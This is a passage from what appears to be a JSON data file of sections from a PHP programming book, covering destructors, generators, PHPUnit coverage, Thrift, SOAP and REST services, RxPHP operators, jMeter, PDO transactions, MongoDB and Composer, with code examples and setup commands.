or when we force it using the unset() language construct. As with constructors, parent destructors don't get called implicitly by PHP. In order to run a parent destructor, we need to explicitly call parent::__destruct() . Furthermore, the child class inherits the parent's destructor if it does not implement one for itself. Let's say we have a following simple User class: <?php class User { public function __destruct() { echo '__destruct'; } } With the User class in place, let's go ahead and look through instance creation examples: echo 'A'; new User(); echo 'B'; // outputs \"A__destructB\" The new User(); expression here instantiates an instance of the User class into thin air as it does not assign the newly instantiated object into the variable. This is a trigger for PHP to explicitly call the __destruct() method right there on the same line, resulting in the A__destructB string : echo 'A'; $user = new User(); echo 'B'; // outputs \"AB__destruct\" The new User(); expression here instantiates an instance of User class into the $user variable. This prevents PHP from triggering instantly, as the script might use the $user variable further down the path. Still, PHP explicitly calls the __destruct() method when it concludes that the $user variable is not being referenced, resulting in the AB__destruct string echo 'A'; $user = new User(); echo 'B'; unset($user); echo 'C'; // outputs \"AB__destructC\" Here, we are extending the previous example a little bit. We are using the unset() language construct to force the destruction of the $user variable in between expressions. The call to unset() is basically an implicit trigger for PHP to execute the object's __destruct() method, resulting in the AB__destructC string echo 'A'; $user = new User(); echo 'B'; exit; echo 'C'; // outputs \"AB__destruct\" Here, we are calling the exit() language construct right before the C string output. This serves as an implicit trigger for PHP that there are no more references towards the $user variable, and, therefore, the object's __destruct() method can be executed. The resulting output is the AB__destruct string. Certain situations might tempt us to call the exit() constructor from within the __destruct() method itself. , because calling exit() within __destruct() prevents the remaining shutdown routines from executing. Likewise, throwing an exception from the __destruct() method will trigger a fatal error, but only if thrown at the time of script termination. This is, by no means, a way to handle our application states. Most of the time, destructors are not something we will want or need to implement on our own. Chances are that a great majority of our classes won't have a need for it, as PHP itself does a pretty good job of cleaning up. There are, however, cases where we might want to instantly release the resource consumed by the object after the object is not being referenced anymore. The __destruct() method allows certain follow-up actions during the object's termination."},
    {"text": "Generator delegation Generator delegation Iterating through a list of items is among the most common things in any programming language. PHP makes it easy to iterate over a diverse collection of data using the foreach construct. Many languages differentiate various data types of collection data, such as dictionary, list, set, tuple, and alike. PHP, however, does not dwell that much on data structures and simply uses the array() or [] constructs most of the time for its collections. This, in turn, can have a negative impact on creating large arrays in memory, which could cause exceeding memory limits or even increased processing times. Aside from the primitive array type, PHP also provides the ArrayObject and ArrayIterator classes. These turn arrays into a first class citizens in an OOP application. Generators allow us to write code that uses foreach to iterate over a set of data without needing to build an array. They are like a function that yields as many values as needed, instead of returning just one, which gives them an iterator-like behavior. While generators have been around from PHP 5.5, they lacked more advanced functionality. Generator delegation is one of the improvements made available with the release of PHP 7. Let's take a look at the following example: function even() { for ($i = 1; $i <= 10; $i++) { if ($i % 2 == 0) { yield $i; } } } function odd() { for ($i = 1; $i <= 10; $i++) { if ($i % 2 != 0) { yield $i; } } } function mix() { yield -1; yield from odd(); yield 17; yield from even(); yield 33; } // 2 4 6 8 1 0 foreach (even() as $even) { echo $even; } // 1 3 5 7 9 foreach (odd() as $odd) { echo $odd; } // -1 1 3 5 7 9 17 2 4 6 8 10 33 foreach (mix() as $mix) { echo $mix; } Here, we define three generator functions: even , odd , and mix . The mix function demonstrates the concept of generator delegation via the use of yield from <expr> . Whereas, <expr> is any expression that evaluates to a traversable object or array. We can see that the result of looping through the mix function echoes all of the yielded values from both itself as well as the even and odd functions. The generator delegation syntax allows the factoring of yield statements into smaller conceptual units, giving generators the similar organizational functionality as methods give to classes. Used carefully, this can improve our code quality and readability. Code coverage Code coverage The great thing about PHPUnit is its code coverage reporting functionality. We can easily add code coverage to our testing suite just by extending the phpunit.xml file as follows: < phpunit bootstrap =\"autoload.php\" > < testsuites > < testsuite name =\"foggyline\" > < directory > src/Foggyline/*/Test/Unit/* </ directory > </ testsuite > </ testsuites > < filter > < whitelist > < directory > src/Foggyline/ </ directory > < exclude > < file > src/config.php </ file > < file > src/auth.php </ file > < directory > src/Foggyline/*/Test/ </ directory > </ exclude > </ whitelist > < logging > < log type =\"coverage-html\" target =\"log/report\" lowUpperBound =\"50\" highLowerBound =\"80\" /> </ logging > </ filter > </ phpunit > Here, we added the filter element, with an extra whitelist and logging element. We can now trigger the testing again, but, this time, with a slightly modified command, as follows: phpunit --coverage-html log/report This should give us the final output, as shown in the following screenshot: The log/report directory should now be filled with HTML report files. If we expose it to the browser, we can see a nicely generated report with valuable pieces of information about our code base, as shown in the following screenshot: The preceding screenshot shows a code coverage percentage across the src/Foggyline/Catalog/ directory structure. Drilling further down into a Model directory, we see our Layer class having 0% code coverage, which is expected, as we haven't written any test for it: Drilling further down into the actual Product class itself, we can see the PHPUnit code coverage outlining each and every line of code covered by our test: Looking directly into the actual Layer class gives us a nice visual on the lack of any code coverage within this class: Code coverage provides valuable visual and statistical information about the amount of code we have covered with tests. Although this information is easily misinterpreted, having 100% code coverage is by no means a measure of our individual test quality. Writing quality tests requires the writer, that is, the developer, to have a clear understanding of what exactly is the unit testing. It goes to say that we can easily have 100% code coverage, with 100% passing tests, and yet fail to address certain test cases or paths of logic."},
    {"text": "Creating client Creating client The thrift-service/client/ directory is where we will implement our project's client. Let's create a single all-in-one thrift-service/client/index.php file that calls the hello() and goodbye() methods from the Thrift service exposed on http://thrift-service.server/index.php : <?php require_once __DIR__ . '/../vendor/thrift/lib/php/lib/Thrift/ClassLoader/ThriftClassLoader.php'; use Thrift\\ClassLoader\\ThriftClassLoader; use Thrift\\Transport\\THttpClient; use Thrift\\Transport\\TBufferedTransport; use Thrift\\Protocol\\TBinaryProtocol; use user\\GreetingServiceClient; $loader = new ThriftClassLoader(); $loader->registerNamespace('Thrift', __DIR__ . '/../vendor/thrift/lib/php/lib'); $loader->registerDefinition('user', __DIR__ . '/../gen-php'); $loader->register(); $socket = new THttpClient('thrift-service.server', 80, '/index.php'); $transport = new TBufferedTransport($socket); $protocol = new TBinaryProtocol($transport); $client = new GreetingServiceClient($protocol); $transport->open(); echo $client->hello('John'); echo $client->goodbye(); $transport->close(); Much like with the server example, here, we also started by including the ThriftClassLoader class, which in turn enabled us to set the auto-loading for the entire Thrift and user namespaces. We then instantiated the socket, transport, protocol, and client, thus making a connection with the Thrift service. Both client and server are using the same thrift-service/gen-php/user/GreetingService.php file. Given that GreetingServiceClient resides within the auto-generated GreetingService.php file, this makes it easy for the client to instantly be aware of any method GreetingService may expose. To test our client, all we need to do is open http://thrift-service.client/index.php in the browser. This should give us the following output: Throughout this section, we touched upon some of the key points of Apache Thrift services. Although there is plenty more to be said about the Thrift's IDL and type system, the examples presented here are a step in the right direction ."},
    {"text": "Writing custom operators Writing custom operators Though RxPHP provides over 40 operators for us to use, sometimes, there may be a need to use an operator that does not exist. Consider the following case: <?php require_once __DIR__ . '/vendor/autoload.php' ; use \\Rx\\Observer\\CallbackObserver; use \\React\\EventLoop\\Factory; use \\Rx\\Scheduler; $loop = Factory:: create (); Scheduler:: setDefaultFactory ( function () use ( $loop ) { return new Scheduler\\EventLoopScheduler( $loop ); }); // correct $users = serialize ([ 'John' , 'Mariya' , 'Marc' , 'Lucy' ]); // faulty // $users = str_replace('i:', '', serialize(['John', 'Mariya', 'Marc', 'Lucy'])); $observer = new CallbackObserver( function ( $value ) { echo 'Observer.$onNext: ' , print_r ( $value , true ), PHP_EOL ; }, function (\\Throwable $t ) { echo 'Observer.$onError: ' , $t ->getMessage(), PHP_EOL ; }, function () { echo 'Observer.$onCompleted' , PHP_EOL ; } ); Rx\\Observable:: just ( $users ) ->map( function ( $value ) { return unserialize ( $value ); }) ->subscribe( $observer ); $loop ->run(); Executing this code with the correct $users variable gives us the following expected output: However, if we were to remove the comment in front of the faulty $user variable, the output comes out slightly unexpected, or at least not how we would like to handle it: What we really want is to shift the unserialize logic into the RxPHP operator, and have it gracefully handle the unsuccessful unserialize() attempts. Luckily, writing a custom operator is an easy task. A quick look into the vendor/reactivex/rxphp/src/Operator/OperatorInterface.php file reveals the following interface: <?php declare (strict_types= 1 ); namespace Rx\\Operator; use Rx\\DisposableInterface; use Rx\\ObservableInterface; use Rx\\ObserverInterface; interface OperatorInterface { public function __invoke( ObservableInterface $observable , ObserverInterface $observer ): DisposableInterface; } Easy enough, the interface only requires a single __invoke() method implementation. We wrote about the __invoke() method extensively in Chapter 4 , Magic Behind Magic Methods . This method gets called when we try to call an object as a function. OperatorInterface , in this case, lists three arguments to the __invoke() method, two of which are mandatory: $observable : This will be our input observable to which we subscribe $observer : This is where we will emit our output value With that in mind, the following is an implementation of our custom UnserializeOperator : <?php use \\Rx\\DisposableInterface; use \\Rx\\ObservableInterface; use \\Rx\\ObserverInterface; use \\Rx\\SchedulerInterface; use \\Rx\\Observer\\CallbackObserver; use \\Rx\\Operator\\OperatorInterface; class UnserializeOperator implements OperatorInterface { /** * @param \\Rx\\ObservableInterface $observable * @param \\Rx\\ObserverInterface $observer * @param \\Rx\\SchedulerInterface $scheduler * @return \\Rx\\DisposableInterface */ public function __invoke( ObservableInterface $observable , ObserverInterface $observer , SchedulerInterface $scheduler = null ): DisposableInterface { $callbackObserver = new CallbackObserver( function ( $value ) use ( $observer ) { if ( $unsValue = unserialize ( $value )) { $observer ->onNext( $unsValue ); } else { $observer ->onError( new InvalidArgumentException( 'Faulty serialized string.' ) ); } }, function ( $error ) use ( $observer ) { $observer ->onError( $error ); }, function () use ( $observer ) { $observer ->onCompleted(); } ); // ->subscribe(...) => DisposableInterface return $observable ->subscribe( $callbackObserver , $scheduler ); } } Unfortunately, we cannot chain our operator directly as we chain the RxPHP operators. We need to help ourselves with the lift() operator: Rx\\Observable::just($users) ->lift(function () { return new UnserializeOperator(); }) ->subscribe($observer); With UnserializeOperator in place, the faulty serialized $users string now gives the following output: Our operator is now successfully handling errors, in that, it is delegating them onto the observer onError callback. Making the best out of RxPHP is mostly about knowing the ins and outs of its operators. The vendor/reactivex/rxphp/demo/ directory provides quite a few operator usage examples. It is worth spending some time going through each. Behavioral patterns Behavioral patterns In this section, we will go through the behavioral patterns such as strategy, observer, lazy initialization, and chain of responsibility."},
    {"text": "Writing test Writing test Throughout this chapter, we used a simple project with a few classes in the src/Foggyline directory to demonstrate the use of PHPUnit, Behat, and phpspec testing. Those, however, can't quite serve the purpose of this type of testing. Since we don't have any HTML pages to showcase in the browser, our focus with jMeter is on kicking off a simple built-in web test plan in order to understand its components and how we can run it later on. Writing jMeter tests for web applications requires a basic understanding of several key concepts, which are as follows: Thread Group : This defines a pool of users who execute a specific test case against our web server. The GUI allows us to control the several Thread Group options, as shown in the following screenshot: HTTP Request Defaults : This sets the default values that our HTTP Request controllers use. The GUI allows us to control the several HTTP Request Defaults options, as shown in the following screenshot: HTTP Request : This sends the HTTP/HTTPS request to a web server. The GUI allows us to control the several HTTP Request options, as shown in the following screenshot: HTTP Cookie Manager : This stores and sends cookies, just like a web browser does. The GUI allows us to control the several HTTP Cookie Manager options, as shown in the following screenshot: HTTP Header Manager : This adds or overrides HTTP request headers. The GUI allows us to control the several HTTP Header Manager options, as shown in the following screenshot: Graph Results : This generates a graph with all the sample times plotted out. The GUI allows us to control the several Graph Results options, as shown in the following screenshot: We should never use the Graph Results listener component during production load tests as it consumes a lot of memory and CPU resources. The great thing about jMeter is that it already provides several different test plan templates. We can easily generate a Web Test Plan simply by following these steps: Click on the File | Templates... menu under the main application menu, as shown here: This in turn triggers the Templates selection screen: Clicking on the Create button should kick off a new test plan, as shown in the following screenshot: While the test is just fine as it is, let's go ahead and change a few things before we run it: Right-click on View Results Tree and click on Remove . Right-click on build-web-test-plan and Add | Listener | Graph Results , then set Filename to jmeter-result-tests.csv , as follows: Click on Scenario 1 and edit Loop Count to value 2 : With these modifications in place, let's click on File | Save under the main menu and name our test web-test-plan.jmx . Out test is now ready to be run. While the test itself won't be load testing our own server in this case, rather example.org , the value of this exercise lies in understanding how to build the test via a GUI tool, run it via console, and generate the test results log for later inspection. Transactions Transactions Transactions with PDO are not much different from those with MySQLi. Utilizing the beginTransaction() , commit() , and rollback() methods of the PDO instance, we are able to control the transaction features of MySQLi: <?php $conn = new PDO( \"mysql:host=127.0.0.1;dbname=sakila\" , 'root' , 'mL08e!Tq' , [PDO:: ATTR_ERRMODE => PDO:: ERRMODE_EXCEPTION ] ); try { // Start new transaction $conn ->beginTransaction(); // Create new address $result = $conn ->query( 'INSERT INTO address ( address, district, city_id, postal_code, phone, location ) VALUES ( \"The street\", \"The district\", 537, \"27107\", \"888777666555\", POINT(45.55111, 18.69389) ); ' ); // Fetch newly created address id $addressId = $conn ->lastInsertId(); // Create new customer $statement = $conn ->prepare( 'INSERT INTO customer ( store_id, first_name, last_name, email, address_id ) VALUES ( 2, \"John\", \"Doe\", \"john-pdo@test.it\", :address_id ) ' ); $statement ->execute([ ':address_id' => $addressId ]); // Fetch newly created customer id $customerId = $conn ->lastInsertId(); // Select newly created customer info $statement = $conn ->prepare( 'SELECT * FROM customer WHERE customer_id = :customer_id' ); $statement ->execute([ ':customer_id' => $customerId ]); $customer = $statement ->fetchObject(); // Commit transaction $conn ->commit(); echo $customer -> first_name , ' ' , $customer -> last_name , PHP_EOL ; } catch (PDOException $e ) { $conn ->rollback(); echo $e ->getMessage(), PHP_EOL ; }"},
    {"text": "Creating server Creating server The PHP soap extension provides SoapClient and SoapServer classes. We can use the SoapServer class to set up a SOAP service server with or without a WSDL service description file. When used without WSDL (non-WSDL mode), SoapClient and SoapServer use a common exchange format, which removes the need for a WSDL file. Before moving forward, we should make sure we have the soap extension installed. We can do so by observing the output of the php -m console command or taking a look at the phpinfo() function output: With the soap extension available and loaded, we can prepare our soap-service project directory as per the following structure: Moving forward, we will assume that the web server is configured to serve content from the soap-service/server directory to http://soap-service.server requests, and content from the soap-service/client directory to http://soap-service.client requests. Let's create a small SOAP service with two different classes, each with the same welcome() method. We can start off by creating the soap-service/server/services/Foggyline/Customer.php file with the following content: <?php namespace Foggyline; class Customer { /** * Says \"Welcome customer...\" * @param $name * @return string */ function welcome( $name ) { return 'Welcome customer: ' . $name ; } } Now, let's create the soap-service/server/services/Foggyline/User.php file with the following content: <?php namespace Foggyline; class User { /** * Says \"Welcome user...\" * @param $name * @return string */ function welcome( $name ) { return 'Welcome user: ' . $name ; } } With the two classes in place, let's create a proxy class to wrap around them. We do so by creating the soap-service/server/ServiceProxy.php file with the following content: <?php require_once __DIR__ . '/services/Foggyline/Customer.php' ; require_once __DIR__ . '/services/Foggyline/User.php' ; class ServiceProxy { private $customerService ; private $userService ; public function __construct() { $this -> customerService = new Foggyline\\Customer(); $this -> userService = new Foggyline\\User(); } /** * Says \"Welcome customer...\" * @soap * @param $name * @return string */ public function customerWelcome( $name ) { return $this -> customerService ->welcome( $name ); } /** * Says \"Welcome user...\" * @soap * @param $name * @return string */ public function userWelcome( $name ) { return $this -> userService ->welcome( $name ); } } Now that we have our proxy class, we can create the actual SoapServer instance. We do so by creating the soap-service/server/index.php file with the following content: <?php require_once __DIR__ . '/ServiceProxy.php' ; $options = [ 'uri' => 'http://soap-service.server/index.php' ]; $server = new SoapServer( null , $options ); $server ->setClass( 'ServiceProxy' ); $server ->handle(); Here, we are instantiating the SoapServer instance, passing it null for the $wsdl parameter and only a 'uri' option under the $options parameter. The URI must be specified in a non-wsdl mode. We then use the setClass() instance method to set the class that will handle incoming SOAP requests. Unfortunately, we cannot pass an array of classes or call the setClass() method multiple times to add several different handling classes at once, which is why we created the ServiceProxy class to wrap around both Customer and User classes. Finally, we called the handle() method of the $server instance, which handles a SOAP request. At this point, our SOAP service server should be fully operational. Deleting Deleting Deletion is done in a manner similar to write and update, in that it uses an instance of the MongoDBDriverBulkWrite object. This time, we are using the instance delete() method, which accepts filter and delete options: <?php require_once __DIR__ . '/vendor/autoload.php' ; try { $manager = new MongoDBDriverManager( 'mongodb://localhost:27017' ); $bulkWrite = new MongoDBDriverBulkWrite; $bulkWrite ->delete( // filter [ 'name' => [ '$regex' => '^iPhone' ] ], // Delete options [ 'limit' => false ] ); $writeConcern = new MongoDBDriverWriteConcern(MongoDBDriverWriteConcern:: MAJORITY , 1000 ); $result = $manager ->executeBulkWrite( 'foggyline.products' , $bulkWrite , $writeConcern ); if ( $result ->getDeletedCount()) { echo 'Record(s) deleted.' , PHP_EOL ; } else { echo 'Error occurred.' , PHP_EOL ; } } catch (MongoDBDriverExceptionException $e ) { echo $e ->getMessage(), PHP_EOL ; exit ; } Using the false value for the limit option, we are effectively asking to delete all matching documents. Using the mongo shell, we can observe the changes shown in the following screenshot: Querying via the MySQLi driver extension Querying via the MySQLi driver extension There are several driver extensions that allow us to query MySQL. MySQLi is one of them. In order to use MySQLi on the console, we need to ensure that we have the PHP CLI and mysql driver extension installed: sudo apt-get -y install php7.0-cli php7.0-mysql Note that the name of the extension lacks the i suffix. Once the mysql driver extension is installed, we can go ahead and start querying the MySQL server."},
    {"text": "Using third-party packages Using third-party packages We already saw how easy it is to install the composer package via one of the following two options: Executing a command such as require vendor/package:2.* vendor/package2:dev-master Adding a package link information under composer.json require , and executing composer install on console Without knowing which package exactly we might need, we could use the https://packagist.org search tool to find it. Let's consider, for example, we are looking for a package with an e-mail sending functionality. This is where the sheer size of the Packagist repository might take us some time to find the right package. Luckily, we can use Sort by downloads or Sort by favorites to help ourselves out: Once we click on the individual package, we get to see the available versions we can install: Running composer require swiftmailer/swiftmailer in this case would give us the latest stable version 5.4.6. Once installed, packages can later be updated to possible new stable versions simply by running the composer update command within the project root. Uncaught Exception handler Uncaught Exception handler PHP provides a mechanism in the form of a set_exception_handler function that allows us to define a custom handler function for all uncaught throwables, including exceptions. The set_exception_handler function accepts a single callable parameter--either a function name passed as string , or an entire anonymous function . Let's take a look at the following function name passed as string example: <?php function throwableHandler(Throwable $t) { echo 'Throwable Handler: ' . $t->getMessage(); } set_exception_handler('throwableHandler'); echo 'start'; throw new Exception('Ups!'); echo 'end'; Let's take a look at the following anonymous function example: <?php set_exception_handler(function (Throwable $t) { echo 'Throwable Handler: ' . $t->getMessage(); }); echo 'start'; throw new Exception('Ups!'); echo 'end'; Both of these code examples do the same thing, there is no difference to them. Other than the second example being more ascetically pleasing, as there is no need to define a separate function like throwableHandler() that will only get used in one place. The important thing to note here is that unlike the try...catch blocks, the call to the handler function is the last thing that our application executes, which, in this case, means that we will never see the end string on screen. AssertionError AssertionError Assertions are runtime checks used as a debugging feature. Using the PHP 7 assert() language construct, we can confirm whether certain PHP expressions are true or false. Whenever the assertion fails, AssertionError is thrown. The AssertionError class has no methods of its own, they are all inherited from the parent Error class, as per the following class synopsis: AssertionError extends Error { final public string Error::getMessage (void) final public Throwable Error::getPrevious (void) final public mixed Error::getCode (void) final public string Error::getFile (void) final public int Error::getLine (void) final public array Error::getTrace (void) final public string Error::getTraceAsString (void) public string Error::__toString (void) final private void Error::__clone (void) } PHP 7 provides two configuration directives to control the behavior of assert() -- zend.assertions and assert.exception . The assert() function will only get executed and possibly throw AssertionError if zend.assertions = 1 and assert.exception = 1 , as per the following example: <?php try { assert('developer' === 'programmer'); } catch (AssertionError $e) { echo 'Caught: ' . $e->getMessage(); } Assuming the configuration directives are all set, the preceding code will output the Caught: assert('developer' === 'programmer') message. If only zend.assertions = 1 but assert.exception = 0 , then the catch block will have no effect and the following warning is raised: Warning: assert(): assert('developer' === 'programmer') failed . The zend.assertions derivative may be completely enabled or disabled only in the php.ini file. Inserting Inserting Writing new data with MongoDB comes down to working with three different classes, MongoDBDriverManager , MongoDBDriverBulkWrite , and MongoDBDriverWriteConcern : <?php require_once __DIR__ . '/vendor/autoload.php' ; try { $manager = new MongoDBDriverManager( 'mongodb://localhost:27017' ); $bulkWrite = new MongoDBDriverBulkWrite; $bulkWrite ->insert([ 'name' => 'iPhone 7 Black White' , 'price' => 650 , 'weight' => '138g' ]); $bulkWrite ->insert([ 'name' => 'Samsung Galaxy S7 White' , 'price' => 670 , 'weight' => '152g' ]); $writeConcern = new MongoDBDriverWriteConcern(MongoDBDriverWriteConcern:: MAJORITY , 1000 ); $result = $manager ->executeBulkWrite( 'foggyline.products' , $bulkWrite , $writeConcern ); if ( $result ->getInsertedCount()) { echo 'Record(s) saved successfully.' , PHP_EOL ; } else { echo 'Error occurred.' , PHP_EOL ; } } catch (MongoDBDriverExceptionException $e ) { echo $e ->getMessage(), PHP_EOL ; exit ; } The instance of BulkWrite can store one or more insert statements through the insert() method. We then simply pass $bulkWrite and $writeConcern to executeBulkWrite() on the $manager instance. Once executed, we can observe the newly added records through the mongo shell:"},
    {"text": "Creating client Creating client Given that REST services rely on HTTP, it's safe to assume that writing clients with PHP CURL should be quite a straightforward process. Let's create a rest-service/client/index.php file with the following content: <?php $ch = curl_init (); $headers = [ 'Content-Type: application/json' , 'X-AUTH-TOKEN: some-auth-token-here' ]; curl_setopt ( $ch , CURLOPT_URL , 'http://rest-service.server/user/welcome' ); curl_setopt ( $ch , CURLOPT_POST , true ); curl_setopt ( $ch , CURLOPT_POSTFIELDS , json_encode ([ 'name' => 'John' ])); curl_setopt ( $ch , CURLOPT_HTTPHEADER , $headers ); curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , true ); $result = curl_exec ( $ch ); curl_close ( $ch ); echo $result ; The Wireshark network tool tells us that this code generates the following HTTP request to a REST service: POST /user/welcome HTTP/1.1 Host: rest-service.server Accept: */* Content-Type: application/json X-AUTH-TOKEN: some-auth-token-here Content-Length: 15 {\"name\":\"John\"} While the CURL approach works just fine, it can quickly become cumbersome and error-prone. This implies the challenges of having to deal with various types of error responses, SSL certificates, and so on. A more elegant solution would be to use the HTTP client library, such as Guzzle. Guzzle is an MIT-licensed HTTP client written in PHP. It can easily be installed through composer, by running the composer require guzzlehttp/guzzle command. Chances are that our REST services will be contacted more often by non-PHP clients than by PHP clients. With that in mind, let's see how a simple HTML/jQuery client can talk to our REST service. We do so by adding the following code to rest-service/client/index.html : <!DOCTYPE html > < html lang= \"en\" > < head > < meta charset= \"UTF-8\" > < title > Client App </ title > < script src= \"https://code.jquery.com/jquery-3.1.1.min.js\" integrity= \"sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8=\" crossorigin= \"anonymous\" ></ script > </ head > < body > < script > jQuery.ajax({ method : 'POST' , url : 'http://rest-service.server/user/welcome' , headers : { 'X-AUTH-TOKEN' : 'some-auth-token-here' }, data : JSON . stringify ({ name : 'John' }), dataType : 'json' , contentType : 'application/json' , success : function (response) { console . log (response. data ); } }); </ script > </ body > </ html > The jQuery ajax() method acts as an HTTP client. Passing it the proper parameter values, it was able to successfully establish request-response communication with the REST service. Throughout this section, we have touched upon some of the key points of REST services. Although we have barely scratched the surface of the overall REST architecture, the examples presented here should be enough to get us started. The ease of implementation and simplicity of JSON and HTTP make REST quite an appealing choice for modern applications. Using Console component helpers Using Console component helpers Understanding arguments and options is a first step towards utilizing the Console component. Once we understand how to deal with inputs, we turn our attention to other, more advanced features. The helpers feature helps us ease the common tasks, such as format outputs, show running processes, show updatable progress information, provide interactive QA process, display tabular data, and so on. The following are several Console component helpers available for us to use: Formatter Helper Process Helper Progress Bar Question Helper Table Debug Formatter Helper You can see the full helper implementations within our project's vendor\\symfony\\console\\Helper directory. To showcase the ease of use of these helpers, let's go ahead and implement the simple progress bar and table helper within our customer export command. We do so by modifying the execute() method of the src\\Foggyline\\Console\\Command\\CustomerExportCommand.php class file: protected function execute(InputInterface $input, OutputInterface $output) { // Fake data source $customers = [ ['John Doe', 'john.doe@mail.loc', '1983-01-16'], ['Samantha Smith', 'samantha.smith@mail.loc', '1986-10-23'], ['Robert Black', 'robert.black@mail.loc', '1978-11-18'], ]; // Progress Bar Helper $progress = new \\Symfony\\Component\\Console\\Helper\\ProgressBar($output, count($customers)); $progress->start(); for ($i = 1; $i <= count($customers); $i++) { sleep(5); $progress->advance(); } $progress->finish(); // Table Helper $table = new \\Symfony\\Component\\Console\\Helper\\Table($output); $table->setHeaders(['Name', 'Email', 'DON']) ->setRows($customers) ->render(); } We start our code by adding a fake customer data. We then instantiate ProgressBar , passing it the count of entries in our fake customer data array. The progress bar instance requires explicit start() , advance() , and finish() method calls to actually advance the progress bar. Once the progress bar is done, we instantiate Table , passing it proper headers and the row data from our customer data array. The console component helpers provide great deal of configuration options. To find out more, check out http://symfony.com/doc/current/components/console/helpers/index.html . With the preceding changes in place, triggering the ./app.php customer:export command on console should now give the following output whilst the command is executing: We will first see the progress par kicking in, showing the exact progress. Once the progress bar is done, the table helper kicks in, making for the final output, as shown in the following screenshot: Using helpers impacts our console application user experience for better. We are now able to write applications that provide informative and structured feeedback for user."},
    {"text": "What this book covers What this book covers Chapter 1 , The All New PHP , talks about the latest changes introduced to the PHP 7.1 language, most of which directly improve the quality and elegancy of written code. Chapter 2 , Embracing Standards , introduces you to important standards in the PHP ecosystem. Presented standards affect the quality and elegancy of code, pushing ypu closer to truly mastering PHP. Chapter 3 , Error Handling and Logging , stresses on the importance of robust error handling and effective logging. You will learn how to handle errors and log truly important bits of information--two disciplines that often lack proper attention in everyday PHP coding. Chapter 4 , Magic Behind Magic Methods , discusses the magic functions available in PHP classes, and their beauty and importance. You will learn every PHP magic method, and its meaning and use through practical examples. Chapter 5 , The Realm of CLI , explores command-line PHP, and its tools and processes. You will learn how to use Symfony's Console component, work with input/output streams, and handle processes. Chapter 6 , Prominent OOP Features , looks at a subset of features that turn PHP into a powerful OOP language. You will learn important concepts behind PHP OOP features, part of which may escape everyday code base as they find more use as building blocks of various frameworks. Chapter 7 , Optimizing for High Performance , talks about the importance of performance optimization, providing hands-on solutions along the way. You will learn about details of the PHP performance optimization, where small configuration changes can affect the overall application performance. Chapter 8 , Going Serverless , outlines using PHP and its use in serverless infrastructure. You will gain an insight into the emerging serverless architecture, along with utilizing it via two of the dominant PaaS (platform as a service) solutions in the market. Chapter 9 , Reactive Programming , covers the emerging reactive programming paradigm that found its way into the PHP ecosystem. You will learn the basic principles of reactive programming using the synchronous coding techniques to write asynchronous code via icicle, one of the most dominant libraries in the ecosystem now. Chapter 10 , Common Design Patterns , focuses on the subset of design patterns, and the most common ones used in PHP programming. You will learn the practical implementation of several important design patterns, which, in turn, will result in more elegant, readable, manageable, and testable code. Chapter 11 , Building Services , takes you through REST, SOAP, and RPC style services, alongside with the microservice architecture. You will learn how to create a SOAP and REST web server, alongside their respective client counterparts. Chapter 12 , Working with Databases , explains the several types of database PHP programmers need to interact with, such as transactional SQL, NoSQL, key-value, and search databases. You will learn how to query the MySQL, Mongo, and Redis databases. Chapter 13 , Resolving Dependencies , explores the dependency issue and the means to resolve it. You will learn how to solve the dependency issue using the dependency injection and dependency container techniques. Chapter 14 , Working with Packages , covers the ecosystem around PHP packages, and their creation and distribution. You will learn how to find and use third-party packages to enrich applications, along with a quick glimpse of possibly creating and distributing its own packages. Chapter 15 , Testing the Important Bits , dives into several types of testing, emphasizing where one might be more important than the other. You will learn several most common types of testing done for PHP web applications. Chapter 16 , Debugging, Tracing, and Profiling , teaches you the most common tools for debugging, tracing, and profiling PHP applications. You will learn how to utilize several various tools to achieve effective debugging, tracing, and profiling of your application. Chapter 17 , Hosting, Provisioning, and Deployment , discusses making an informed decision for hosting the application, along with provisioning, deployment, and continuous integration processes in place. You will learn about the difference between hosting solutions and the automated process of getting the code from local to production machines. Installing Apache Thrift Installing Apache Thrift Apache Thrift can be installed from source files. Assuming that we have a fresh Ubuntu 16.10 installation, we can kick off the Apache Thrift installation steps using the following set of commands: sudo apt-get update sudo apt-get -y install php automake bison flex g++ git libboost-all-dev libevent-dev libssl-dev libtool make pkg-config These two commands should get us the necessary tooling to compile our Apache Thrift source files. Once this is done, we can pull the actual source files on our machine: wget http://apache.mirror.anlx.net/thrift/0.10.0/thrift-0.10.0.tar.gz tar -xvf thrift-0.10.0.tar.gz cd thrift-0.10.0/ With the source files unpacked, we can trigger the configure and make commands, as follows: ./configure make make install Finally, we need to make sure we have the /usr/local/lib/ directory on our LD_LIBRARY_PATH path: echo \"export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib/\" >> ~/.bashrc We should now log out of the shell and then log back in. Using the following command, we confirm that the Apache Thrift is installed: thrift -version This should give us the following output: With the thrift tool installed and available through the console, we can prepare our thrift-service project: mkdir thrift-service cd thrift-service/ mkdir client mkdir server mkdir vendor cd vendor git clone https://github.com/apache/thrift.git Moving forward, we will assume that the web server is configured to serve content of the thrift-service/client directory to http://thrift-service.client requests, and content of the thrift-service/server directory to http://thrift-service.server requests."},
    {"text": "Working with Packages Working with Packages Modern PHP applications tend to be comprised of a large number of files. Take the Magento 2 eCommerce platform as an example. Once installed, its vendor directory contains over thirty thousand of the PHP class files. The sheer size of it is enough to stunt anyone. Why so many files, one might wonder? Nowadays, it is popular, if not mandatory, to make use of preexisting libraries and packages other developers have written before us. It would not make much sense to reinvent the wheel all the time. This is why package managers such as Composer are ever so popular among the PHP developers. Making use of these package managers usually means pulling in a diverse set of third-party packages into our project. While this usually hints increased application size, it also allows us to jump-start our application development. The added benefit being the quality and continuous maintenance of these packages by third parties, which we then merely update into our application. In this chapter, we will look into Composer, the most popular PHP package manager: Understanding Composer Understanding Packagist Using third-party packages Creating your own package Distributing your package Throughout the previous chapters, we already had certain touching points with Composer, as we used some of its packages. The following sections are to add some extra clarity on top of that, as well as showcase how we can create our own packages. Common Design Patterns Common Design Patterns Those new to software development tend to focus their efforts on mastering the programming language. Once that barrier is passed, it is time to embrace design patterns , as writing high-quality and complex software is hardly possible without them. Mostly attributed to experienced developer use, design patterns r epresent a well established solution to common challenges faced in our applications. Successfully applying design patterns is likely to lead to more extensible, reusable, maintainable, and adaptable code. The examples within this chapter are not meant to be copied and pasted. They merely serve a purpose of representing one possible implementation of design patterns. After all, real-life applications are all about details. Furthermore, there are plenty of other design patterns out there, with new ones being invented as technology and programming paradigms shift. In this chapter, we will take a look at a few possible implementations of design patterns in PHP: Base patterns The registry pattern Creational patterns 